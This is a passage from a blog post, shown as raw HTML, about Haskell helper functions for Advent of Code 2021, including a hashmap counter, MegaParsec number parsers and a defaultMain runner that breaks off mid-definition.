message.&lt;/p&gt;
&lt;h3 id=&quot;trace-show-a-a-a&quot; tabindex=&quot;-1&quot;&gt;&lt;a class=&quot;md-anchor&quot; href=&quot;https://trebledj.me/posts/aoc-2021-haskell-utils/#trace-show-a-a-a&quot; aria-hidden=&quot;true&quot;&gt;&lt;/a&gt; &lt;code&gt;trace&#39; :: (Show a) =&amp;gt; a -&amp;gt; a&lt;/code&gt;&lt;/h3&gt;
&lt;div class=&quot;code-toolbar&quot;&gt;&lt;pre data-lang-off=&quot;&quot; class=&quot;language-haskell&quot; tabindex=&quot;0&quot;&gt;&lt;code class=&quot;language-haskell&quot;&gt;&lt;span class=&quot;token hvariable&quot;&gt;trace&#39;&lt;/span&gt; &lt;span class=&quot;token hvariable&quot;&gt;x&lt;/span&gt; &lt;span class=&quot;token operator&quot;&gt;=&lt;/span&gt; &lt;span class=&quot;token hvariable&quot;&gt;trace&lt;/span&gt; &lt;span class=&quot;token punctuation&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;token builtin&quot;&gt;show&lt;/span&gt; &lt;span class=&quot;token hvariable&quot;&gt;x&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;)&lt;/span&gt; &lt;span class=&quot;token hvariable&quot;&gt;x&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;div class=&quot;toolbar&quot;&gt;&lt;div class=&quot;toolbar-item&quot;&gt;&lt;button class=&quot;copy-to-clipboard-button&quot; type=&quot;button&quot; title=&quot;Copy Code&quot;&gt;&lt;/button&gt;&lt;/div&gt;&lt;/div&gt;&lt;/div&gt;&lt;p&gt;A helper to print and return its argument, to avoid repetition.&lt;/p&gt;
&lt;h2 id=&quot;advanced-utilities&quot; tabindex=&quot;-1&quot;&gt;&lt;a class=&quot;md-anchor&quot; href=&quot;https://trebledj.me/posts/aoc-2021-haskell-utils/#advanced-utilities&quot; aria-hidden=&quot;true&quot;&gt;&lt;/a&gt; Advanced Utilities&lt;/h2&gt;
&lt;p&gt;In the following sections, I&#39;ll talk about fundamentals less so that I can focus more on the higher-level things. I&#39;ll presume the reader has a solid grasp of fundamentals.&lt;/p&gt;
&lt;h3 id=&quot;counter-hashable-a-eq-a-a-m-hashmap-a-int&quot; tabindex=&quot;-1&quot;&gt;&lt;a class=&quot;md-anchor&quot; href=&quot;https://trebledj.me/posts/aoc-2021-haskell-utils/#counter-hashable-a-eq-a-a-m-hashmap-a-int&quot; aria-hidden=&quot;true&quot;&gt;&lt;/a&gt; &lt;code&gt;counter :: (Hashable a, Eq a) =&amp;gt; [a] -&amp;gt; M.HashMap a Int&lt;/code&gt;&lt;/h3&gt;
&lt;div class=&quot;code-toolbar&quot;&gt;&lt;pre data-lang-off=&quot;&quot; class=&quot;language-haskell&quot; tabindex=&quot;0&quot;&gt;&lt;code class=&quot;language-haskell&quot;&gt;&lt;span class=&quot;token hvariable&quot;&gt;counter&lt;/span&gt; &lt;span class=&quot;token operator&quot;&gt;=&lt;/span&gt; &lt;span class=&quot;token builtin&quot;&gt;foldr&lt;/span&gt; &lt;span class=&quot;token punctuation&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;token operator&quot;&gt;&#92;&lt;/span&gt;&lt;span class=&quot;token hvariable&quot;&gt;x&lt;/span&gt; &lt;span class=&quot;token operator&quot;&gt;-&amp;gt;&lt;/span&gt; &lt;span class=&quot;token hvariable&quot;&gt;M&lt;span class=&quot;token punctuation&quot;&gt;.&lt;/span&gt;insertWith&lt;/span&gt; &lt;span class=&quot;token punctuation&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;token operator&quot;&gt;+&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;)&lt;/span&gt; &lt;span class=&quot;token hvariable&quot;&gt;x&lt;/span&gt; &lt;span class=&quot;token number&quot;&gt;1&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;)&lt;/span&gt; &lt;span class=&quot;token hvariable&quot;&gt;M&lt;span class=&quot;token punctuation&quot;&gt;.&lt;/span&gt;empty&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;div class=&quot;toolbar&quot;&gt;&lt;div class=&quot;toolbar-item&quot;&gt;&lt;button class=&quot;copy-to-clipboard-button&quot; type=&quot;button&quot; title=&quot;Copy Code&quot;&gt;&lt;/button&gt;&lt;/div&gt;&lt;/div&gt;&lt;/div&gt;&lt;p&gt;This helper function takes a list and counts the number of occurrences, packing it into a hashmap for efficient lookup.&lt;/p&gt;
&lt;p&gt;&lt;a class=&quot;lightbox-single&quot; title=&quot;&quot; href=&quot;https://trebledj.me/img/posts/programming/aoc-2021/assets/hashmapuh-1908w.webp&quot;&gt;&lt;img class=&quot;mb-2 rw center jw-65&quot; src=&quot;https://trebledj.me/img/posts/programming/aoc-2021/assets/hashmapuh-1908w.webp&quot; loading=&quot;lazy&quot; decoding=&quot;async&quot; style=&quot;aspect-ratio: auto 1908 / 766&quot; alt=&quot;&quot; title=&quot;&quot; srcset=&quot;https://trebledj.me/img/posts/programming/aoc-2021/assets/hashmapuh-256w.webp 256w, https://trebledj.me/img/posts/programming/aoc-2021/assets/hashmapuh-512w.webp 512w, https://trebledj.me/img/posts/programming/aoc-2021/assets/hashmapuh-1024w.webp 1024w, https://trebledj.me/img/posts/programming/aoc-2021/assets/hashmapuh-1908w.webp 1908w&quot; sizes=&quot;(max-width: 256px) 256px, (max-width: 512px) 512px, (max-width: 1024px) 1024px, 1908px&quot; /&gt;&lt;/a&gt;&lt;/p&gt;
&lt;p&gt;After all, if Python has such a convenience (&lt;code&gt;collections.Counter&lt;/code&gt;), why shouldn&#39;t Haskell have something similar?&lt;/p&gt;
&lt;div class=&quot;code-toolbar&quot;&gt;&lt;pre data-lang-off=&quot;&quot; class=&quot;language-haskell&quot; tabindex=&quot;0&quot;&gt;&lt;code class=&quot;language-haskell&quot;&gt;&lt;span class=&quot;token hvariable&quot;&gt;counter&lt;/span&gt; &lt;span class=&quot;token punctuation&quot;&gt;[&lt;/span&gt;&lt;span class=&quot;token number&quot;&gt;1&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;,&lt;/span&gt; &lt;span class=&quot;token number&quot;&gt;2&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;,&lt;/span&gt; &lt;span class=&quot;token number&quot;&gt;3&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;,&lt;/span&gt; &lt;span class=&quot;token number&quot;&gt;1&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;,&lt;/span&gt; &lt;span class=&quot;token number&quot;&gt;5&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;,&lt;/span&gt; &lt;span class=&quot;token number&quot;&gt;3&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;,&lt;/span&gt; &lt;span class=&quot;token number&quot;&gt;4&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;,&lt;/span&gt; &lt;span class=&quot;token number&quot;&gt;1&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;]&lt;/span&gt;
    &lt;span class=&quot;token operator&quot;&gt;=&lt;/span&gt; &lt;span class=&quot;token hvariable&quot;&gt;M&lt;span class=&quot;token punctuation&quot;&gt;.&lt;/span&gt;fromList&lt;/span&gt; &lt;span class=&quot;token punctuation&quot;&gt;[&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;token number&quot;&gt;1&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;,&lt;/span&gt;&lt;span class=&quot;token number&quot;&gt;3&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;)&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;,&lt;/span&gt; &lt;span class=&quot;token punctuation&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;token number&quot;&gt;2&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;,&lt;/span&gt;&lt;span class=&quot;token number&quot;&gt;1&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;)&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;,&lt;/span&gt; &lt;span class=&quot;token punctuation&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;token number&quot;&gt;3&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;,&lt;/span&gt;&lt;span class=&quot;token number&quot;&gt;2&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;)&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;,&lt;/span&gt; &lt;span class=&quot;token punctuation&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;token number&quot;&gt;4&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;,&lt;/span&gt;&lt;span class=&quot;token number&quot;&gt;1&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;)&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;,&lt;/span&gt; &lt;span class=&quot;token punctuation&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;token number&quot;&gt;5&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;,&lt;/span&gt;&lt;span class=&quot;token number&quot;&gt;1&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;)&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;]&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;div class=&quot;toolbar&quot;&gt;&lt;div class=&quot;toolbar-item&quot;&gt;&lt;button class=&quot;copy-to-clipboard-button&quot; type=&quot;button&quot; title=&quot;Copy Code&quot;&gt;&lt;/button&gt;&lt;/div&gt;&lt;/div&gt;&lt;/div&gt;&lt;p&gt;In fact, we can generalise this to not only work with lists as input, but for any &lt;code&gt;Foldable&lt;/code&gt; type. This is what we would get if we let the Haskell&#39;s type inference work its magic:&lt;/p&gt;
&lt;div class=&quot;code-toolbar&quot;&gt;&lt;pre data-lang-off=&quot;&quot; class=&quot;language-haskell&quot; tabindex=&quot;0&quot;&gt;&lt;code class=&quot;language-haskell&quot;&gt;&lt;span class=&quot;token hvariable&quot;&gt;ghci&lt;/span&gt;&lt;span class=&quot;token operator&quot;&gt;&amp;gt;&lt;/span&gt; &lt;span class=&quot;token hvariable&quot;&gt;counter&lt;/span&gt; &lt;span class=&quot;token operator&quot;&gt;=&lt;/span&gt; &lt;span class=&quot;token builtin&quot;&gt;foldr&lt;/span&gt; &lt;span class=&quot;token punctuation&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;token operator&quot;&gt;&#92;&lt;/span&gt;&lt;span class=&quot;token hvariable&quot;&gt;x&lt;/span&gt; &lt;span class=&quot;token operator&quot;&gt;-&amp;gt;&lt;/span&gt; &lt;span class=&quot;token hvariable&quot;&gt;M&lt;span class=&quot;token punctuation&quot;&gt;.&lt;/span&gt;insertWith&lt;/span&gt; &lt;span class=&quot;token punctuation&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;token operator&quot;&gt;+&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;)&lt;/span&gt; &lt;span class=&quot;token hvariable&quot;&gt;x&lt;/span&gt; &lt;span class=&quot;token number&quot;&gt;1&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;)&lt;/span&gt; &lt;span class=&quot;token hvariable&quot;&gt;M&lt;span class=&quot;token punctuation&quot;&gt;.&lt;/span&gt;empty&lt;/span&gt;
&lt;span class=&quot;token hvariable&quot;&gt;ghci&lt;/span&gt;&lt;span class=&quot;token operator&quot;&gt;&amp;gt;&lt;/span&gt; &lt;span class=&quot;token operator&quot;&gt;:&lt;/span&gt;&lt;span class=&quot;token hvariable&quot;&gt;t&lt;/span&gt; &lt;span class=&quot;token hvariable&quot;&gt;counter&lt;/span&gt;
&lt;span class=&quot;token hvariable&quot;&gt;counter&lt;/span&gt;
  &lt;span class=&quot;token operator&quot;&gt;::&lt;/span&gt; &lt;span class=&quot;token punctuation&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;token constant&quot;&gt;Foldable&lt;/span&gt; &lt;span class=&quot;token hvariable&quot;&gt;t&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;,&lt;/span&gt; &lt;span class=&quot;token constant&quot;&gt;Eq&lt;/span&gt; &lt;span class=&quot;token hvariable&quot;&gt;k&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;,&lt;/span&gt;
      &lt;span class=&quot;token hvariable&quot;&gt;hashable&lt;/span&gt;&lt;span class=&quot;token operator&quot;&gt;-&lt;/span&gt;&lt;span class=&quot;token number&quot;&gt;1.3&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;.&lt;/span&gt;&lt;span class=&quot;token number&quot;&gt;1.0&lt;/span&gt;&lt;span class=&quot;token operator&quot;&gt;:&lt;/span&gt;&lt;span class=&quot;token constant&quot;&gt;Data&lt;span class=&quot;token punctuation&quot;&gt;.&lt;/span&gt;Hashable&lt;span class=&quot;token punctuation&quot;&gt;.&lt;/span&gt;Class&lt;span class=&quot;token punctuation&quot;&gt;.&lt;/span&gt;Hashable&lt;/span&gt; &lt;span class=&quot;token hvariable&quot;&gt;k&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;,&lt;/span&gt; &lt;span class=&quot;token constant&quot;&gt;Num&lt;/span&gt; &lt;span class=&quot;token hvariable&quot;&gt;v&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;)&lt;/span&gt; &lt;span class=&quot;token operator&quot;&gt;=&amp;gt;&lt;/span&gt;
     &lt;span class=&quot;token hvariable&quot;&gt;t&lt;/span&gt; &lt;span class=&quot;token hvariable&quot;&gt;k&lt;/span&gt; &lt;span class=&quot;token operator&quot;&gt;-&amp;gt;&lt;/span&gt; &lt;span class=&quot;token constant&quot;&gt;M&lt;span class=&quot;token punctuation&quot;&gt;.&lt;/span&gt;HashMap&lt;/span&gt; &lt;span class=&quot;token hvariable&quot;&gt;k&lt;/span&gt; &lt;span class=&quot;token hvariable&quot;&gt;v&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;div class=&quot;toolbar&quot;&gt;&lt;div class=&quot;toolbar-item&quot;&gt;&lt;button class=&quot;copy-to-clipboard-button&quot; type=&quot;button&quot; title=&quot;Copy Code&quot;&gt;&lt;/button&gt;&lt;/div&gt;&lt;/div&gt;&lt;/div&gt;&lt;p&gt;That is:&lt;/p&gt;
&lt;div class=&quot;code-toolbar&quot;&gt;&lt;pre data-lang-off=&quot;&quot; class=&quot;language-haskell&quot; tabindex=&quot;0&quot;&gt;&lt;code class=&quot;language-haskell&quot;&gt;&lt;span class=&quot;token hvariable&quot;&gt;counter&lt;/span&gt; &lt;span class=&quot;token operator&quot;&gt;::&lt;/span&gt; &lt;span class=&quot;token punctuation&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;token constant&quot;&gt;Foldable&lt;/span&gt; &lt;span class=&quot;token hvariable&quot;&gt;t&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;,&lt;/span&gt; &lt;span class=&quot;token constant&quot;&gt;Eq&lt;/span&gt; &lt;span class=&quot;token hvariable&quot;&gt;k&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;,&lt;/span&gt; &lt;span class=&quot;token constant&quot;&gt;Hashable&lt;/span&gt; &lt;span class=&quot;token hvariable&quot;&gt;k&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;,&lt;/span&gt; &lt;span class=&quot;token constant&quot;&gt;Num&lt;/span&gt; &lt;span class=&quot;token hvariable&quot;&gt;v&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;)&lt;/span&gt; &lt;span class=&quot;token operator&quot;&gt;=&amp;gt;&lt;/span&gt; 
            &lt;span class=&quot;token hvariable&quot;&gt;t&lt;/span&gt; &lt;span class=&quot;token hvariable&quot;&gt;k&lt;/span&gt; &lt;span class=&quot;token operator&quot;&gt;-&amp;gt;&lt;/span&gt; &lt;span class=&quot;token constant&quot;&gt;M&lt;span class=&quot;token punctuation&quot;&gt;.&lt;/span&gt;HashMap&lt;/span&gt; &lt;span class=&quot;token hvariable&quot;&gt;k&lt;/span&gt; &lt;span class=&quot;token hvariable&quot;&gt;v&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;div class=&quot;toolbar&quot;&gt;&lt;div class=&quot;toolbar-item&quot;&gt;&lt;button class=&quot;copy-to-clipboard-button&quot; type=&quot;button&quot; title=&quot;Copy Code&quot;&gt;&lt;/button&gt;&lt;/div&gt;&lt;/div&gt;&lt;/div&gt;&lt;p&gt;I used the &lt;a href=&quot;https://hackage.haskell.org/package/unordered-containers-0.2.19.1/docs/Data-HashMap-Strict.html&quot;&gt;strict hashmap&lt;/a&gt; provided in the &lt;code&gt;unordered-collections&lt;/code&gt; package, but it should work with lazy hashmaps as well.&lt;/p&gt;
&lt;div class=&quot;alert alert-warning d-flex align-items-start&quot;&gt; &lt;i class=&quot;fas fa-triangle-exclamation ms-1 me-3 mt-1 fs-4&quot; role=&quot;img&quot;&gt;&lt;/i&gt; &lt;div class=&quot;alert-content flex-fill mt-0&quot;&gt;
&lt;p&gt;If you want to use the &lt;code&gt;Hashable&lt;/code&gt; typeclass in code, you&#39;ll need to jump through some hoops by &lt;a href=&quot;https://stackoverflow.com/a/68761231/10239789&quot;&gt;&amp;quot;exposing&amp;quot; the hidden &lt;code&gt;hashable&lt;/code&gt; package and importing &lt;code&gt;Data.Hashable&lt;/code&gt;&lt;/a&gt;.&lt;/p&gt;
&lt;/div&gt;&lt;/div&gt;
&lt;h2 id=&quot;parser-utilities&quot; tabindex=&quot;-1&quot;&gt;&lt;a class=&quot;md-anchor&quot; href=&quot;https://trebledj.me/posts/aoc-2021-haskell-utils/#parser-utilities&quot; aria-hidden=&quot;true&quot;&gt;&lt;/a&gt; Parser Utilities&lt;/h2&gt;
&lt;p&gt;I used MegaParsec this year, but the idea of the following utilities can also be applied for other parser combinator libraries.&lt;/p&gt;
&lt;h3 id=&quot;digits-num-i-read-i-parser-i&quot; tabindex=&quot;-1&quot;&gt;&lt;a class=&quot;md-anchor&quot; href=&quot;https://trebledj.me/posts/aoc-2021-haskell-utils/#digits-num-i-read-i-parser-i&quot; aria-hidden=&quot;true&quot;&gt;&lt;/a&gt; &lt;code&gt;digits :: (Num i, Read i) =&amp;gt; Parser i&lt;/code&gt;&lt;/h3&gt;
&lt;div class=&quot;code-toolbar&quot;&gt;&lt;pre data-lang-off=&quot;&quot; class=&quot;language-haskell&quot; tabindex=&quot;0&quot;&gt;&lt;code class=&quot;language-haskell&quot;&gt;&lt;span class=&quot;token hvariable&quot;&gt;digits&lt;/span&gt; &lt;span class=&quot;token operator&quot;&gt;=&lt;/span&gt; &lt;span class=&quot;token builtin&quot;&gt;read&lt;/span&gt; &lt;span class=&quot;token operator&quot;&gt;&amp;lt;$&amp;gt;&lt;/span&gt; &lt;span class=&quot;token hvariable&quot;&gt;some&lt;/span&gt; &lt;span class=&quot;token hvariable&quot;&gt;digitChar&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;div class=&quot;toolbar&quot;&gt;&lt;div class=&quot;toolbar-item&quot;&gt;&lt;button class=&quot;copy-to-clipboard-button&quot; type=&quot;button&quot; title=&quot;Copy Code&quot;&gt;&lt;/button&gt;&lt;/div&gt;&lt;/div&gt;&lt;/div&gt;&lt;p&gt;Convenience function for parsing a number (string of digits).&lt;/p&gt;
&lt;h3 id=&quot;integer-num-i-read-i-show-i-parser-i&quot; tabindex=&quot;-1&quot;&gt;&lt;a class=&quot;md-anchor&quot; href=&quot;https://trebledj.me/posts/aoc-2021-haskell-utils/#integer-num-i-read-i-show-i-parser-i&quot; aria-hidden=&quot;true&quot;&gt;&lt;/a&gt; &lt;code&gt;integer :: (Num i, Read i, Show i) =&amp;gt; Parser i&lt;/code&gt;&lt;/h3&gt;
&lt;div class=&quot;code-toolbar&quot;&gt;&lt;pre data-lang-off=&quot;&quot; class=&quot;language-haskell&quot; tabindex=&quot;0&quot;&gt;&lt;code class=&quot;language-haskell&quot;&gt;&lt;span class=&quot;token hvariable&quot;&gt;integer&lt;/span&gt; &lt;span class=&quot;token operator&quot;&gt;=&lt;/span&gt; &lt;span class=&quot;token punctuation&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;token builtin&quot;&gt;negate&lt;/span&gt; &lt;span class=&quot;token operator&quot;&gt;&amp;lt;$&amp;gt;&lt;/span&gt; &lt;span class=&quot;token hvariable&quot;&gt;try&lt;/span&gt; &lt;span class=&quot;token punctuation&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;token hvariable&quot;&gt;char&lt;/span&gt; &lt;span class=&quot;token char string&quot;&gt;&#39;-&#39;&lt;/span&gt; &lt;span class=&quot;token operator&quot;&gt;*&amp;gt;&lt;/span&gt; &lt;span class=&quot;token hvariable&quot;&gt;digits&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;)&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;)&lt;/span&gt; &lt;span class=&quot;token operator&quot;&gt;&amp;lt;|&amp;gt;&lt;/span&gt; &lt;span class=&quot;token hvariable&quot;&gt;digits&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;div class=&quot;toolbar&quot;&gt;&lt;div class=&quot;toolbar-item&quot;&gt;&lt;button class=&quot;copy-to-clipboard-button&quot; type=&quot;button&quot; title=&quot;Copy Code&quot;&gt;&lt;/button&gt;&lt;/div&gt;&lt;/div&gt;&lt;/div&gt;&lt;p&gt;Convenience function for parsing a (possibly negative) integer.&lt;/p&gt;
&lt;h2 id=&quot;aoc-specific-utilities&quot; tabindex=&quot;-1&quot;&gt;&lt;a class=&quot;md-anchor&quot; href=&quot;https://trebledj.me/posts/aoc-2021-haskell-utils/#aoc-specific-utilities&quot; aria-hidden=&quot;true&quot;&gt;&lt;/a&gt; AOC-specific Utilities&lt;/h2&gt;
&lt;p&gt;Some more utilities which I wrote solely for AOC.&lt;/p&gt;
&lt;h3 id=&quot;defaultmain&quot; tabindex=&quot;-1&quot;&gt;&lt;a class=&quot;md-anchor&quot; href=&quot;https://trebledj.me/posts/aoc-2021-haskell-utils/#defaultmain&quot; aria-hidden=&quot;true&quot;&gt;&lt;/a&gt; &lt;code&gt;defaultMain&lt;/code&gt;&lt;/h3&gt;
&lt;div class=&quot;code-toolbar&quot;&gt;&lt;pre data-lang-off=&quot;&quot; class=&quot;language-haskell&quot; tabindex=&quot;0&quot;&gt;&lt;code class=&quot;language-haskell&quot;&gt;&lt;span class=&quot;token hvariable&quot;&gt;defaultMain&lt;/span&gt;
  &lt;span class=&quot;token operator&quot;&gt;::&lt;/span&gt; &lt;span class=&quot;token punctuation&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;token constant&quot;&gt;ParseLike&lt;/span&gt; &lt;span class=&quot;token hvariable&quot;&gt;p&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;,&lt;/span&gt; &lt;span class=&quot;token constant&quot;&gt;Print&lt;/span&gt; &lt;span class=&quot;token hvariable&quot;&gt;b&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;,&lt;/span&gt; &lt;span class=&quot;token constant&quot;&gt;Print&lt;/span&gt; &lt;span class=&quot;token hvariable&quot;&gt;c&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;)&lt;/span&gt;
  &lt;span class=&quot;token operator&quot;&gt;=&amp;gt;&lt;/span&gt; &lt;span class=&quot;token constant&quot;&gt;String&lt;/span&gt;   &lt;span class=&quot;token comment&quot;&gt;-- Default input file, if no -f option was provided from args.&lt;/span&gt;
  &lt;span class=&quot;token operator&quot;&gt;-&amp;gt;&lt;/span&gt; &lt;span class=&quot;token hvariable&quot;&gt;p&lt;/span&gt; &lt;span class=&quot;token hvariable&quot;&gt;a&lt;/span&gt;      &lt;span class=&quot;token comment&quot;&gt;-- Any instance of ParseLike, e.g. a function (String -&amp;gt; a) or a parser combinator (Parser a).&lt;/span&gt;
  &lt;span class=&quot;token operator&quot;&gt;-&amp;gt;&lt;/span&gt; &lt;span class=&quot;token punctuation&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;token hvariable&quot;&gt;a&lt;/span&gt; &lt;span class=&quot;token operator&quot;&gt;-&amp;gt;&lt;/span&gt; &lt;span class=&quot;token hvariable&quot;&gt;b&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;)&lt;/span&gt; &lt;span class=&quot;token comment&quot;&gt;-- Function to solve part 1. Takes in input and returns something printable.&lt;/span&gt;
  &lt;span class=&quot;token operator&quot;&gt;-&amp;gt;&lt;/span&gt; &lt;span class=&quot;token punctuation&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;token hvariable&quot;&gt;a&lt;/span&gt; &lt;span class=&quot;token operator&quot;&gt;-&amp;gt;&lt;/span&gt; &lt;span class=&quot;token hvariable&quot;&gt;c&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;)&lt;/span&gt; &lt;span class=&quot;token comment&quot;&gt;-- Function to solve part 2.  -- Ditto. --&lt;/span&gt;
  &lt;span class=&quot;token operator&quot;&gt;-&amp;gt;&lt;/span&gt; &lt;span class=&quot;token constant&quot;&gt;IO&lt;/span&gt; &lt;span class=&quot;token punctuation&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;)&lt;/span&gt;
&lt;span class=&quot;token hvariable&quot;&gt;defaultMain&lt;/span&gt; &lt;span class=&quot;token hvariable&quot;&gt;defaultFile&lt;/span&gt; &lt;span class=&quot;token hvariable&quot;&gt;parse&lt;/span&gt; &lt;span class=&quot;token hvariable&quot;&gt;part1&lt;/span&gt; &lt;span class=&quot;token hvariable&quot;&gt;part2&lt;/span&gt; &lt;span class=&quot;token operator&quot;&gt;=&lt;/span&gt; &lt;span class=&quot;token keyword&quot;&gt;do&lt;/span&gt;
  &lt;span class=&quot;token punctuation&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;token hvariable&quot;&gt;opts&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;,&lt;/span&gt; &lt;span class=&quot;token hvariable&quot;&gt;_&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;)&lt;/span&gt;  &lt;span class=&quot;token operator&quot;&gt;&amp;lt;-&lt;/span&gt; &lt;span class=&quot;token hvariable&quot;&gt;parseArgs&lt;/span&gt; &lt;span class=&quot;token punctuation&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;token hvariable&quot;&gt;nullOpts&lt;/span&gt; &lt;span class=&quot;token punctuation&quot;&gt;{&lt;/span&gt; &lt;span class=&quot;token hvariable&quot;&gt;file&lt;/span&gt; &lt;span class=&quot;token operator&quot;&gt;=&lt;/span&gt; &lt;span class=&quot;token hvariable&quot;&gt;defaultFile&lt;/span&gt; &lt;span class=&quot;token punctuation&quot;&gt;}&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;)&lt;/span&gt; &lt;span class=&quot;token operator&quot;&gt;&amp;lt;$&amp;gt;&lt;/span&gt; &lt;span class=&quot;token hvariable&quot;&gt;getArgs&lt;/span&gt;
  &lt;span class=&quot;token hvariable&quot;&gt;input&lt;/span&gt; &lt;span class=&quot;token operator&quot;&gt;&amp;lt;-&lt;/span&gt; &lt;span class=&quot;token hvariable&quot;&gt;doParse&lt;/span&gt; &lt;span class=&quot;token hvariable&quot;&gt;parse&lt;/span&gt; &lt;span class=&quot;token punctuation&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;token hvariable&quot;&gt;file&lt;/span&gt; &lt;span class=&quot;token hvariable&quot;&gt;opts&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;)&lt;/span&gt; &lt;span class=&quot;token operator&quot;&gt;&amp;lt;$&amp;gt;&lt;/span&gt; &lt;span class=&quot;token builtin&quot;&gt;readFile&lt;/span&gt; &lt;span class=&quot;token punctuation&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;token hvariable&quot;&gt;file&lt;/span&gt; &lt;span class=&quot;token hvariable&quot;&gt;opts&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;)&lt;/span&gt;
  &lt;span class=&quot;token hvariable&quot;&gt;when&lt;/span&gt; &lt;span class=&quot;token punctuation&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;token hvariable&quot;&gt;runPart1&lt;/span&gt; &lt;span class=&quot;token hvariable&quot;&gt;opts&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;)&lt;/span&gt; &lt;span class=&quot;token operator&quot;&gt;$&lt;/span&gt; &lt;span class=&quot;token keyword&quot;&gt;do&lt;/span&gt;
    &lt;span class=&quot;token builtin&quot;&gt;putStr&lt;/span&gt; &lt;span class=&quot;token string&quot;&gt;&quot;part1: &quot;&lt;/span&gt;
    &lt;span class=&quot;token builtin&quot;&gt;print&lt;/span&gt;&#39; &lt;span class=&quot;token operator&quot;&gt;$&lt;/span&gt; &lt;span class=&quot;token hvariable&quot;&gt;part1&lt;/span&gt; &lt;span class=&quot;token hvariable&quot;&gt;input&lt;/span&gt;
  &lt;span class=&quot;token hvariable&quot;&gt;when&lt;/span&gt; &lt;span class=&quot;token punctuation&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;token hvariable&quot;&gt;runPart2&lt;/span&gt; &lt;span class=&quot;token hvariable&quot;&gt;opts&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;)&lt;/span&gt; &lt;span class=&quot;token operator&quot;&gt;$&lt;/span&gt; &lt;span class=&quot;token keyword&quot;&gt;do&lt;/span&gt;
